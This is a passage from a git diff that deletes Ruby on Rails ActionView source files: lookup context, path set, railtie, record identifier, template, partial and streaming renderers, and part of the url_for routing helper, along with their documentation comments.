- parts = name.to_s.split('/')
- parts.shift if parts.first.empty?
- name = parts.pop
-
- return name, prefixes || [""] if parts.empty?
-
- parts = parts.join('/')
- prefixes = prefixes ? prefixes.map { |p| "#{p}/#{parts}" } : [parts]
-
- return name, prefixes
- end
- end
-
- include Accessors
- include DetailsCache
- include ViewPaths
-
- def initialize(view_paths, details = {}, prefixes = [])
- @details, @details_key = {}, nil
- @skip_default_locale = false
- @cache = true
- @prefixes = prefixes
- @rendered_format = nil
-
- self.view_paths = view_paths
- initialize_details(details)
- end
-
- # Override formats= to expand ["*/*"] values and automatically
- # add :html as fallback to :js.
- def formats=(values)
- if values
- values.concat(default_formats) if values.delete "*/*"
- if values == [:js]
- values << :html
- @html_fallback_for_js = true
- end
- end
- super(values)
- end
-
- # Do not use the default locale on template lookup.
- def skip_default_locale!
- @skip_default_locale = true
- self.locale = nil
- end
-
- # Override locale to return a symbol instead of array.
- def locale
- @details[:locale].first
- end
-
- # Overload locale= to also set the I18n.locale. If the current I18n.config object responds
- # to original_config, it means that it's has a copy of the original I18n configuration and it's
- # acting as proxy, which we need to skip.
- def locale=(value)
- if value
- config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config
- config.locale = value
- end
-
- super(@skip_default_locale ? I18n.locale : default_locale)
- end
-
- # A method which only uses the first format in the formats array for layout lookup.
- def with_layout_format
- if formats.size == 1
- yield
- else
- old_formats = formats
- _set_detail(:formats, formats[0,1])
-
- begin
- yield
- ensure
- _set_detail(:formats, old_formats)
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/model_naming.rb b/actionpack/lib/action_view/model_naming.rb
deleted file mode 100644
index e09ebd60df..0000000000
--- a/actionpack/lib/action_view/model_naming.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-module ActionView
- module ModelNaming
- # Converts the given object to an ActiveModel compliant one.
- def convert_to_model(object)
- object.respond_to?(:to_model) ? object.to_model : object
- end
-
- def model_name_from_record_or_class(record_or_class)
- (record_or_class.is_a?(Class) ? record_or_class : convert_to_model(record_or_class).class).model_name
- end
- end
-end
diff --git a/actionpack/lib/action_view/path_set.rb b/actionpack/lib/action_view/path_set.rb
deleted file mode 100644
index d9c76366f8..0000000000
--- a/actionpack/lib/action_view/path_set.rb
+++ /dev/null
@@ -1,71 +0,0 @@
-module ActionView #:nodoc:
- # = Action View PathSet
- class PathSet #:nodoc:
- include Enumerable
-
- attr_reader :paths
-
- delegate :[], :include?, :pop, :size, :each, to: :paths
-
- def initialize(paths = [])
- @paths = typecast paths
- end
-
- def initialize_copy(other)
- @paths = other.paths.dup
- self
- end
-
- def to_ary
- paths.dup
- end
-
- def compact
- PathSet.new paths.compact
- end
-
- def +(array)
- PathSet.new(paths + array)
- end
-
- %w(<< concat push insert unshift).each do |method|
- class_eval <<-METHOD, __FILE__, __LINE__ + 1
- def #{method}(*args)
- paths.#{method}(*typecast(args))
- end
- METHOD
- end
-
- def find(*args)
- find_all(*args).first || raise(MissingTemplate.new(self, *args))
- end
-
- def find_all(path, prefixes = [], *args)
- prefixes = [prefixes] if String === prefixes
- prefixes.each do |prefix|
- paths.each do |resolver|
- templates = resolver.find_all(path, prefix, *args)
- return templates unless templates.empty?
- end
- end
- []
- end
-
- def exists?(path, prefixes, *args)
- find_all(path, prefixes, *args).any?
- end
-
- private
-
- def typecast(paths)
- paths.map do |path|
- case path
- when Pathname, String
- OptimizedFileSystemResolver.new path.to_s
- else
- path
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/railtie.rb b/actionpack/lib/action_view/railtie.rb
deleted file mode 100644
index e80e0ed9b0..0000000000
--- a/actionpack/lib/action_view/railtie.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-require "action_view"
-require "rails"
-
-module ActionView
- # = Action View Railtie
- class Railtie < Rails::Railtie # :nodoc:
- config.action_view = ActiveSupport::OrderedOptions.new
- config.action_view.embed_authenticity_token_in_remote_forms = false
-
- config.eager_load_namespaces << ActionView
-
- initializer "action_view.embed_authenticity_token_in_remote_forms" do |app|
- ActiveSupport.on_load(:action_view) do
- ActionView::Helpers::FormTagHelper.embed_authenticity_token_in_remote_forms =
- app.config.action_view.delete(:embed_authenticity_token_in_remote_forms)
- end
- end
-
- initializer "action_view.logger" do
- ActiveSupport.on_load(:action_view) { self.logger ||= Rails.logger }
- end
-
- initializer "action_view.set_configs" do |app|
- ActiveSupport.on_load(:action_view) do
- app.config.action_view.each do |k,v|
- send "#{k}=", v
- end
- end
- end
-
- initializer "action_view.caching" do |app|
- ActiveSupport.on_load(:action_view) do
- if app.config.action_view.cache_template_loading.nil?
- ActionView::Resolver.caching = app.config.cache_classes
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/record_identifier.rb b/actionpack/lib/action_view/record_identifier.rb
deleted file mode 100644
index 2953654972..0000000000
--- a/actionpack/lib/action_view/record_identifier.rb
+++ /dev/null
@@ -1,84 +0,0 @@
-require 'active_support/core_ext/module'
-require 'action_view/model_naming'
-
-module ActionView
- # The record identifier encapsulates a number of naming conventions for dealing with records, like Active Records or
- # pretty much any other model type that has an id. These patterns are then used to try elevate the view actions to
- # a higher logical level.
- #
- # # routes
- # resources :posts
- #
- # # view
- # <%= div_for(post) do %> <div id="post_45" class="post">
- # <%= post.body %> What a wonderful world!
- # <% end %> </div>
- #
- # # controller
- # def update
- # post = Post.find(params[:id])
- # post.update_attributes(params[:post])
- #
- # redirect_to(post) # Calls polymorphic_url(post) which in turn calls post_url(post)
- # end
- #
- # As the example above shows, you can stop caring to a large extent what the actual id of the post is.
- # You just know that one is being assigned and that the subsequent calls in redirect_to expect that
- # same naming convention and allows you to write less code if you follow it.
- module RecordIdentifier
- extend self
- extend ModelNaming
-
- include ModelNaming
-
- JOIN = '_'.freeze
- NEW = 'new'.freeze
-
- # The DOM class convention is to use the singular form of an object or class.
- #
- # dom_class(post) # => "post"
- # dom_class(Person) # => "person"
- #
- # If you need to address multiple instances of the same class in the same view, you can prefix the dom_class:
- #
- # dom_class(post, :edit) # => "edit_post"
- # dom_class(Person, :edit) # => "edit_person"
- def dom_class(record_or_class, prefix = nil)
- singular = model_name_from_record_or_class(record_or_class).param_key
- prefix ? "#{prefix}#{JOIN}#{singular}" : singular
- end
-
- # The DOM id convention is to use the singular form of an object or class with the id following an underscore.
- # If no id is found, prefix with "new_" instead.
- #
- # dom_id(Post.find(45)) # => "post_45"
- # dom_id(Post.new) # => "new_post"
- #
- # If you need to address multiple instances of the same class in the same view, you can prefix the dom_id:
- #
- # dom_id(Post.find(45), :edit) # => "edit_post_45"
- # dom_id(Post.new, :custom) # => "custom_post"
- def dom_id(record, prefix = nil)
- if record_id = record_key_for_dom_id(record)
- "#{dom_class(record, prefix)}#{JOIN}#{record_id}"
- else
- dom_class(record, prefix || NEW)
- end
- end
-
- protected
-
- # Returns a string representation of the key attribute(s) that is suitable for use in an HTML DOM id.
- # This can be overwritten to customize the default generated string representation if desired.
- # If you need to read back a key from a dom_id in order to query for the underlying database record,
- # you should write a helper like 'person_record_from_dom_id' that will extract the key either based
- # on the default implementation (which just joins all key attributes with '_') or on your own
- # overwritten version of the method. By default, this implementation passes the key string through a
- # method that replaces all characters that are invalid inside DOM ids, with valid ones. You need to
- # make sure yourself that your dom ids are valid, in case you overwrite this method.
- def record_key_for_dom_id(record)
- key = convert_to_model(record).to_key
- key ? key.join('_') : key
- end
- end
-end
diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionpack/lib/action_view/renderer/abstract_renderer.rb
deleted file mode 100644
index 6fb8cbb46c..0000000000
--- a/actionpack/lib/action_view/renderer/abstract_renderer.rb
+++ /dev/null
@@ -1,32 +0,0 @@
-module ActionView
- class AbstractRenderer #:nodoc:
- delegate :find_template, :template_exists?, :with_fallbacks, :with_layout_format, :formats, :to => :@lookup_context
-
- def initialize(lookup_context)
- @lookup_context = lookup_context
- end
-
- def render
- raise NotImplementedError
- end
-
- protected
-
- def extract_details(options)
- @lookup_context.registered_details.each_with_object({}) do |key, details|
- next unless value = options[key]
- details[key] = Array(value)
- end
- end
-
- def instrument(name, options={})
- ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield }
- end
-
- def prepend_formats(formats)
- formats = Array(formats)
- return if formats.empty? || @lookup_context.html_fallback_for_js
- @lookup_context.formats = formats | @lookup_context.formats
- end
- end
-end
diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb
deleted file mode 100644
index 8fb9b6ff18..0000000000
--- a/actionpack/lib/action_view/renderer/partial_renderer.rb
+++ /dev/null
@@ -1,474 +0,0 @@
-module ActionView
- # = Action View Partials
- #
- # There's also a convenience method for rendering sub templates within the current controller that depends on a
- # single object (we call this kind of sub templates for partials). It relies on the fact that partials should
- # follow the naming convention of being prefixed with an underscore -- as to separate them from regular
- # templates that could be rendered on their own.
- #
- # In a template for Advertiser#account:
- #
- # <%= render partial: "account" %>
- #
- # This would render "advertiser/_account.html.erb".
- #
- # In another template for Advertiser#buy, we could have:
- #
- # <%= render partial: "account", locals: { account: @buyer } %>
- #
- # <% @advertisements.each do |ad| %>
- # <%= render partial: "ad", locals: { ad: ad } %>
- # <% end %>
- #
- # This would first render "advertiser/_account.html.erb" with @buyer passed in as the local variable +account+, then
- # render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display.
- #
- # == The :as and :object options
- #
- # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables.
- # The <tt>:object</tt> option can be used to pass an object to the partial. For instance:
- #
- # <%= render partial: "account", object: @buyer %>
- #
- # would provide the <tt>@buyer</tt> object to the partial, available under the local variable +account+ and is
- # equivalent to:
- #
- # <%= render partial: "account", locals: { account: @buyer } %>
- #
- # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we
- # wanted it to be +user+ instead of +account+ we'd do:
- #
- # <%= render partial: "account", object: @buyer, as: 'user' %>
- #
- # This is equivalent to
- #
- # <%= render partial: "account", locals: { user: @buyer } %>
- #
- # == Rendering a collection of partials
- #
- # The example of partial use describes a familiar pattern where a template needs to iterate over an array and
- # render a sub template for each of the elements. This pattern has been implemented as a single method that
- # accepts an array and renders a partial by the same name as the elements contained within. So the three-lined
- # example in "Using partials" can be rewritten with a single line:
- #
- # <%= render partial: "ad", collection: @advertisements %>
- #
- # This will render "advertiser/_ad.html.erb" and pass the local variable +ad+ to the template for display. An
- # iteration counter will automatically be made available to the template with a name of the form
- # +partial_name_counter+. In the case of the example above, the template would be fed +ad_counter+.
- #
- # The <tt>:as</tt> option may be used when rendering partials.
- #
- # You can specify a partial to be rendered between elements via the <tt>:spacer_template</tt> option.
- # The following example will render <tt>advertiser/_ad_divider.html.erb</tt> between each ad partial:
- #
- # <%= render partial: "ad", collection: @advertisements, spacer_template: "ad_divider" %>
- #
- # If the given <tt>:collection</tt> is nil or empty, <tt>render</tt> will return nil. This will allow you
- # to specify a text which will displayed instead by using this form:
- #
- # <%= render(partial: "ad", collection: @advertisements) || "There's no ad to be displayed" %>
- #
- # NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also
- # just keep domain objects, like Active Records, in there.
- #
- # == Rendering shared partials
- #
- # Two controllers can share a set of partials and render them like this:
- #
- # <%= render partial: "advertisement/ad", locals: { ad: @advertisement } %>
- #
- # This will render the partial "advertisement/_ad.html.erb" regardless of which controller this is being called from.
- #
- # == Rendering objects that respond to `to_partial_path`
- #
- # Instead of explicitly naming the location of a partial, you can also let PartialRenderer do the work
- # and pick the proper path by checking `to_partial_path` method.
- #
- # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
- # # <%= render partial: "accounts/account", locals: { account: @account} %>
- # <%= render partial: @account %>
- #
- # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
- # # that's why we can replace:
- # # <%= render partial: "posts/post", collection: @posts %>
- # <%= render partial: @posts %>
- #
- # == Rendering the default case
- #
- # If you're not going to be using any of the options like collections or layouts, you can also use the short-hand
- # defaults of render to render partials. Examples:
- #
- # # Instead of <%= render partial: "account" %>
- # <%= render "account" %>
- #
- # # Instead of <%= render partial: "account", locals: { account: @buyer } %>
- # <%= render "account", account: @buyer %>
- #
- # # @account.to_partial_path returns 'accounts/account', so it can be used to replace:
- # # <%= render partial: "accounts/account", locals: { account: @account} %>
- # <%= render @account %>
- #
- # # @posts is an array of Post instances, so every post record returns 'posts/post' on `to_partial_path`,
- # # that's why we can replace:
- # # <%= render partial: "posts/post", collection: @posts %>
- # <%= render @posts %>
- #
- # == Rendering partials with layouts
- #
- # Partials can have their own layouts applied to them. These layouts are different than the ones that are
- # specified globally for the entire action, but they work in a similar fashion. Imagine a list with two types
- # of users:
- #
- # <%# app/views/users/index.html.erb &>
- # Here's the administrator:
- # <%= render partial: "user", layout: "administrator", locals: { user: administrator } %>
- #
- # Here's the editor:
- # <%= render partial: "user", layout: "editor", locals: { user: editor } %>
- #
- # <%# app/views/users/_user.html.erb &>
- # Name: <%= user.name %>
- #
- # <%# app/views/users/_administrator.html.erb &>
- # <div id="administrator">
- # Budget: $<%= user.budget %>
- # <%= yield %>
- # </div>
- #
- # <%# app/views/users/_editor.html.erb &>
- # <div id="editor">
- # Deadline: <%= user.deadline %>
- # <%= yield %>
- # </div>
- #
- # ...this will return:
- #
- # Here's the administrator:
- # <div id="administrator">
- # Budget: $<%= user.budget %>
- # Name: <%= user.name %>
- # </div>
- #
- # Here's the editor:
- # <div id="editor">
- # Deadline: <%= user.deadline %>
- # Name: <%= user.name %>
- # </div>
- #
- # If a collection is given, the layout will be rendered once for each item in
- # the collection. Just think these two snippets have the same output:
- #
- # <%# app/views/users/_user.html.erb %>
- # Name: <%= user.name %>
- #
- # <%# app/views/users/index.html.erb %>
- # <%# This does not use layouts %>
- # <ul>
- # <% users.each do |user| -%>
- # <li>
- # <%= render partial: "user", locals: { user: user } %>
- # </li>
- # <% end -%>
- # </ul>
- #
- # <%# app/views/users/_li_layout.html.erb %>
- # <li>
- # <%= yield %>
- # </li>
- #
- # <%# app/views/users/index.html.erb %>
- # <ul>
- # <%= render partial: "user", layout: "li_layout", collection: users %>
- # </ul>
- #
- # Given two users whose names are Alice and Bob, these snippets return:
- #
- # <ul>
- # <li>
- # Name: Alice
- # </li>
- # <li>
- # Name: Bob
- # </li>
- # </ul>
- #
- # The current object being rendered, as well as the object_counter, will be
- # available as local variables inside the layout template under the same names
- # as available in the partial.
- #
- # You can also apply a layout to a block within any template:
- #
- # <%# app/views/users/_chief.html.erb &>
- # <%= render(layout: "administrator", locals: { user: chief }) do %>
- # Title: <%= chief.title %>
- # <% end %>
- #
- # ...this will return:
- #
- # <div id="administrator">
- # Budget: $<%= user.budget %>
- # Title: <%= chief.name %>
- # </div>
- #
- # As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
- #
- # If you pass arguments to "yield" then this will be passed to the block. One way to use this is to pass
- # an array to layout and treat it as an enumerable.
- #
- # <%# app/views/users/_user.html.erb &>
- # <div class="user">
- # Budget: $<%= user.budget %>
- # <%= yield user %>
- # </div>
- #
- # <%# app/views/users/index.html.erb &>
- # <%= render layout: @users do |user| %>
- # Title: <%= user.title %>
- # <% end %>
- #
- # This will render the layout for each user and yield to the block, passing the user, each time.
- #
- # You can also yield multiple times in one layout and use block arguments to differentiate the sections.
- #
- # <%# app/views/users/_user.html.erb &>
- # <div class="user">
- # <%= yield user, :header %>
- # Budget: $<%= user.budget %>
- # <%= yield user, :footer %>
- # </div>
- #
- # <%# app/views/users/index.html.erb &>
- # <%= render layout: @users do |user, section| %>
- # <%- case section when :header -%>
- # Title: <%= user.title %>
- # <%- when :footer -%>
- # Deadline: <%= user.deadline %>
- # <%- end -%>
- # <% end %>
- class PartialRenderer < AbstractRenderer
- PREFIXED_PARTIAL_NAMES = Hash.new { |h,k| h[k] = {} }
-
- def initialize(*)
- super
- @context_prefix = @lookup_context.prefixes.first
- end
-
- def render(context, options, block)
- setup(context, options, block)
- identifier = (@template = find_partial) ? @template.identifier : @path
-
- @lookup_context.rendered_format ||= begin
- if @template && @template.formats.present?
- @template.formats.first
- else
- formats.first
- end
- end
-
- if @collection
- instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do
- render_collection
- end
- else
- instrument(:partial, :identifier => identifier) do
- render_partial
- end
- end
- end
-
- def render_collection
- return nil if @collection.blank?
-
- if @options.key?(:spacer_template)
- spacer = find_template(@options[:spacer_template], @locals.keys).render(@view, @locals)
- end
-
- result = @template ? collection_with_template : collection_without_template
- result.join(spacer).html_safe
- end
-
- def render_partial
- view, locals, block = @view, @locals, @block
- object, as = @object, @variable
-
- if !block && (layout = @options[:layout])
- layout = find_template(layout.to_s, @template_keys)
- end
-
- object ||= locals[as]
- locals[as] = object
-
- content = @template.render(view, locals) do |*name|
- view._layout_for(*name, &block)
- end
-
- content = layout.render(view, locals){ content } if layout
- content
- end
-
- private
-
- def setup(context, options, block)
- @view = context
- partial = options[:partial]
-
- @options = options
- @locals = options[:locals] || {}
- @block = block
- @details = extract_details(options)
-
- prepend_formats(options[:formats])
-
- if String === partial
- @object = options[:object]
- @path = partial
- @collection = collection
- else
- @object = partial
-
- if @collection = collection_from_object || collection
- paths = @collection_data = @collection.map { |o| partial_path(o) }
- @path = paths.uniq.size == 1 ? paths.first : nil
- else
- @path = partial_path
- end
- end
-
- if as = options[:as]
- raise_invalid_identifier(as) unless as.to_s =~ /\A[a-z_]\w*\z/
- as = as.to_sym
- end
-
- if @path
- @variable, @variable_counter = retrieve_variable(@path, as)
- @template_keys = retrieve_template_keys
- else
- paths.map! { |path| retrieve_variable(path, as).unshift(path) }
- end
-
- self
- end
-
- def collection
- if @options.key?(:collection)
- collection = @options[:collection]
- collection.respond_to?(:to_ary) ? collection.to_ary : []
- end
- end
-
- def collection_from_object
- @object.to_ary if @object.respond_to?(:to_ary)
- end
-
- def find_partial
- if path = @path
- find_template(path, @template_keys)
- end
- end
-
- def find_template(path, locals)
- prefixes = path.include?(?/) ? [] : @lookup_context.prefixes
- @lookup_context.find_template(path, prefixes, true, locals, @details)
- end
-
- def collection_with_template
- view, locals, template = @view, @locals, @template
- as, counter = @variable, @variable_counter
-
- if layout = @options[:layout]
- layout = find_template(layout, @template_keys)
- end
-
- index = -1
- @collection.map do |object|
- locals[as] = object
- locals[counter] = (index += 1)
-
- content = template.render(view, locals)
- content = layout.render(view, locals) { content } if layout
- content
- end
- end
-
- def collection_without_template
- view, locals, collection_data = @view, @locals, @collection_data
- cache = {}
- keys = @locals.keys
-
- index = -1
- @collection.map do |object|
- index += 1
- path, as, counter = collection_data[index]
-
- locals[as] = object
- locals[counter] = index
-
- template = (cache[path] ||= find_template(path, keys + [as, counter]))
- template.render(view, locals)
- end
- end
-
- def partial_path(object = @object)
- object = object.to_model if object.respond_to?(:to_model)
-
- path = if object.respond_to?(:to_partial_path)
- object.to_partial_path
- else
- raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object. It must implement :to_partial_path.")
- end
-
- if @view.prefix_partial_path_with_controller_namespace
- prefixed_partial_names[path] ||= merge_prefix_into_object_path(@context_prefix, path.dup)
- else
- path
- end
- end
-
- def prefixed_partial_names
- @prefixed_partial_names ||= PREFIXED_PARTIAL_NAMES[@context_prefix]
- end
-
- def merge_prefix_into_object_path(prefix, object_path)
- if prefix.include?(?/) && object_path.include?(?/)
- prefixes = []
- prefix_array = File.dirname(prefix).split('/')
- object_path_array = object_path.split('/')[0..-3] # skip model dir & partial
-
- prefix_array.each_with_index do |dir, index|
- break if dir == object_path_array[index]
- prefixes << dir
- end
-
- (prefixes << object_path).join("/")
- else
- object_path
- end
- end
-
- def retrieve_template_keys
- keys = @locals.keys
- keys << @variable
- keys << @variable_counter if @collection
- keys
- end
-
- def retrieve_variable(path, as)
- variable = as || begin
- base = path[-1] == "/" ? "" : File.basename(path)
- raise_invalid_identifier(path) unless base =~ /\A_?([a-z]\w*)(\.\w+)*\z/
- $1.to_sym
- end
- variable_counter = :"#{variable}_counter" if @collection
- [variable, variable_counter]
- end
-
- IDENTIFIER_ERROR_MESSAGE = "The partial name (%s) is not a valid Ruby identifier; " +
- "make sure your partial name starts with a lowercase letter or underscore, " +
- "and is followed by any combination of letters, numbers and underscores."
-
- def raise_invalid_identifier(path)
- raise ArgumentError.new(IDENTIFIER_ERROR_MESSAGE % (path))
- end
- end
-end
diff --git a/actionpack/lib/action_view/renderer/renderer.rb b/actionpack/lib/action_view/renderer/renderer.rb
deleted file mode 100644
index 30a0c4be70..0000000000
--- a/actionpack/lib/action_view/renderer/renderer.rb
+++ /dev/null
@@ -1,44 +0,0 @@
-module ActionView
- # This is the main entry point for rendering. It basically delegates
- # to other objects like TemplateRenderer and PartialRenderer which
- # actually renders the template.
- class Renderer
- attr_accessor :lookup_context
-
- def initialize(lookup_context)
- @lookup_context = lookup_context
- end
-
- # Main render entry point shared by AV and AC.
- def render(context, options)
- if options.key?(:partial)
- render_partial(context, options)
- else
- render_template(context, options)
- end
- end
-
- # Render but returns a valid Rack body. If fibers are defined, we return
- # a streaming body that renders the template piece by piece.
- #
- # Note that partials are not supported to be rendered with streaming,
- # so in such cases, we just wrap them in an array.
- def render_body(context, options)
- if options.key?(:partial)
- [render_partial(context, options)]
- else
- StreamingTemplateRenderer.new(@lookup_context).render(context, options)
- end
- end
-
- # Direct accessor to template rendering.
- def render_template(context, options) #:nodoc:
- TemplateRenderer.new(@lookup_context).render(context, options)
- end
-
- # Direct access to partial rendering.
- def render_partial(context, options, &block) #:nodoc:
- PartialRenderer.new(@lookup_context).render(context, options, block)
- end
- end
-end
diff --git a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb b/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
deleted file mode 100644
index 9cf6eb0c65..0000000000
--- a/actionpack/lib/action_view/renderer/streaming_template_renderer.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-require 'fiber'
-
-module ActionView
- # == TODO
- #
- # * Support streaming from child templates, partials and so on.
- # * Integrate exceptions with exceptron
- # * Rack::Cache needs to support streaming bodies
- class StreamingTemplateRenderer < TemplateRenderer #:nodoc:
- # A valid Rack::Body (i.e. it responds to each).
- # It is initialized with a block that, when called, starts
- # rendering the template.
- class Body #:nodoc:
- def initialize(&start)
- @start = start
- end
-
- def each(&block)
- begin
- @start.call(block)
- rescue Exception => exception
- log_error(exception)
- block.call ActionView::Base.streaming_completion_on_exception
- end
- self
- end
-
- private
-
- # This is the same logging logic as in ShowExceptions middleware.
- # TODO Once "exceptron" is in, refactor this piece to simply re-use exceptron.
- def log_error(exception) #:nodoc:
- logger = ActionView::Base.logger
- return unless logger
-
- message = "\n#{exception.class} (#{exception.message}):\n"
- message << exception.annoted_source_code.to_s if exception.respond_to?(:annoted_source_code)
- message << " " << exception.backtrace.join("\n ")
- logger.fatal("#{message}\n\n")
- end
- end
-
- # For streaming, instead of rendering a given a template, we return a Body
- # object that responds to each. This object is initialized with a block
- # that knows how to render the template.
- def render_template(template, layout_name = nil, locals = {}) #:nodoc:
- return [super] unless layout_name && template.supports_streaming?
-
- locals ||= {}
- layout = layout_name && find_layout(layout_name, locals.keys)
-
- Body.new do |buffer|
- delayed_render(buffer, template, layout, @view, locals)
- end
- end
-
- private
-
- def delayed_render(buffer, template, layout, view, locals)
- # Wrap the given buffer in the StreamingBuffer and pass it to the
- # underlying template handler. Now, everytime something is concatenated
- # to the buffer, it is not appended to an array, but streamed straight
- # to the client.
- output = ActionView::StreamingBuffer.new(buffer)
- yielder = lambda { |*name| view._layout_for(*name) }
-
- instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
- fiber = Fiber.new do
- if layout
- layout.render(view, locals, output, &yielder)
- else
- # If you don't have a layout, just render the thing
- # and concatenate the final result. This is the same
- # as a layout with just <%= yield %>
- output.safe_concat view._layout_for
- end
- end
-
- # Set the view flow to support streaming. It will be aware
- # when to stop rendering the layout because it needs to search
- # something in the template and vice-versa.
- view.view_flow = StreamingFlow.new(view, fiber)
-
- # Yo! Start the fiber!
- fiber.resume
-
- # If the fiber is still alive, it means we need something
- # from the template, so start rendering it. If not, it means
- # the layout exited without requiring anything from the template.
- if fiber.alive?
- content = template.render(view, locals, &yielder)
-
- # Once rendering the template is done, sets its content in the :layout key.
- view.view_flow.set(:layout, content)
-
- # In case the layout continues yielding, we need to resume
- # the fiber until all yields are handled.
- fiber.resume while fiber.alive?
- end
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb
deleted file mode 100644
index 4d5c5db80c..0000000000
--- a/actionpack/lib/action_view/renderer/template_renderer.rb
+++ /dev/null
@@ -1,96 +0,0 @@
-require 'active_support/core_ext/object/try'
-
-module ActionView
- class TemplateRenderer < AbstractRenderer #:nodoc:
- def render(context, options)
- @view = context
- @details = extract_details(options)
- template = determine_template(options)
- context = @lookup_context
-
- prepend_formats(template.formats)
-
- unless context.rendered_format
- context.rendered_format = template.formats.first || formats.last
- end
-
- render_template(template, options[:layout], options[:locals])
- end
-
- # Determine the template to be rendered using the given options.
- def determine_template(options) #:nodoc:
- keys = options.fetch(:locals, {}).keys
-
- if options.key?(:text)
- Template::Text.new(options[:text], formats.first)
- elsif options.key?(:file)
- with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
- elsif options.key?(:inline)
- handler = Template.handler_for_extension(options[:type] || "erb")
- Template.new(options[:inline], "inline template", handler, :locals => keys)
- elsif options.key?(:template)
- if options[:template].respond_to?(:render)
- options[:template]
- else
- find_template(options[:template], options[:prefixes], false, keys, @details)
- end
- else
- raise ArgumentError, "You invoked render but did not give any of :partial, :template, :inline, :file or :text option."
- end
- end
-
- # Renders the given template. A string representing the layout can be
- # supplied as well.
- def render_template(template, layout_name = nil, locals = nil) #:nodoc:
- view, locals = @view, locals || {}
-
- render_with_layout(layout_name, locals) do |layout|
- instrument(:template, :identifier => template.identifier, :layout => layout.try(:virtual_path)) do
- template.render(view, locals) { |*name| view._layout_for(*name) }
- end
- end
- end
-
- def render_with_layout(path, locals) #:nodoc:
- layout = path && find_layout(path, locals.keys)
- content = yield(layout)
-
- if layout
- view = @view
- view.view_flow.set(:layout, content)
- layout.render(view, locals){ |*name| view._layout_for(*name) }
- else
- content
- end
- end
-
- # This is the method which actually finds the layout using details in the lookup
- # context object. If no layout is found, it checks if at least a layout with
- # the given name exists across all details before raising the error.
- def find_layout(layout, keys)
- with_layout_format { resolve_layout(layout, keys) }
- end
-
- def resolve_layout(layout, keys)
- case layout
- when String
- begin
- if layout =~ /^\//
- with_fallbacks { find_template(layout, nil, false, keys, @details) }
- else
- find_template(layout, nil, false, keys, @details)
- end
- rescue ActionView::MissingTemplate
- all_details = @details.merge(:formats => @lookup_context.default_formats)
- raise unless template_exists?(layout, nil, false, keys, all_details)
- end
- when Proc
- resolve_layout(layout.call, keys)
- when FalseClass
- nil
- else
- layout
- end
- end
- end
-end
diff --git a/actionpack/lib/action_view/routing_url_for.rb b/actionpack/lib/action_view/routing_url_for.rb
deleted file mode 100644
index f10e7e88ba..0000000000
--- a/actionpack/lib/action_view/routing_url_for.rb
+++ /dev/null
@@ -1,107 +0,0 @@
-module ActionView
- module RoutingUrlFor
-
- # Returns the URL for the set of +options+ provided. This takes the
- # same options as +url_for+ in Action Controller (see the
- # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
- # <tt>:only_path</tt> is <tt>true</tt> so you'll get the relative "/controller/action"
- # instead of the fully qualified URL like "http://example.com/controller/action".
- #
- # ==== Options
- # * <tt>:anchor</tt> - Specifies the anchor name to be appended to the path.
- # * <tt>:only_path</tt> - If true, returns the relative URL (omitting the protocol, host name, and port) (<tt>true</tt> by default unless <tt>:host</tt> is specified).
- # * <tt>:trailing_slash</tt> - If true, adds a trailing slash, as in "/archive/2005/". Note that this
- # is currently not recommended since it breaks caching.
- # * <tt>:host</tt> - Overrides the default (current) host if provided.
- # * <tt>:protocol</tt> - Overrides the default (current) protocol if provided.
- # * <tt>:user</tt> - Inline HTTP authentication (only plucked out if <tt>:password</tt> is also present).
- # * <tt>:password</tt> - Inline HTTP authentication (only plucked out if <tt>:user</tt> is also present).
- #
- # ==== Relying on named routes
- #
- # Passing a record (like an Active Record) instead of a hash as the options parameter will
- # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
- # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
- # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
- #
- # ==== Implicit Controller Namespacing
- #
- # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
- #
- # ==== Examples
- # <%= url_for(action: 'index') %>
- # # => /blog/
- #
- # <%= url_for(action: 'find', controller: 'books') %>
- # # => /books/find
- #
- # <%= url_for(action: 'login', controller: 'members', only_path: false, protocol: 'https') %>
- # # => https://www.example.com/members/login/
- #
- # <%= url_for(action: 'play', anchor: 'player') %>
- # # => /messages/play/#player
- #
- # <%= url_for(action: 'jump', anchor: 'tax&ship') %>
- # # => /testing/jump/#tax&ship
- #
- # <%= url_for(Workshop.new) %>
- # # relies on Workshop answering a persisted? call (and in this case returning false)
- # # => /workshops
- #
- # <%= url_for(@workshop) %>
- # # calls @workshop.to_param which by default returns the id
- # # => /workshops/5
- #
- # # to_param can be re-defined in a model to provide different URL names:
- # # => /workshops/1-workshop-name
- #
- # <%= url_for("http://www.example.com") %>
- # # => http://www.example.com
- #
- # <%= url_for(:back) %>
- # # if request.env["HTTP_REFERER"] is set to "http://www.example.com"
- # # => http://www.example.com
- #
- # <%= url_for(:back) %>
- # # if request.env["HTTP_REFERER"] is not set or is blank
- # # => javascript:history.back()
- #
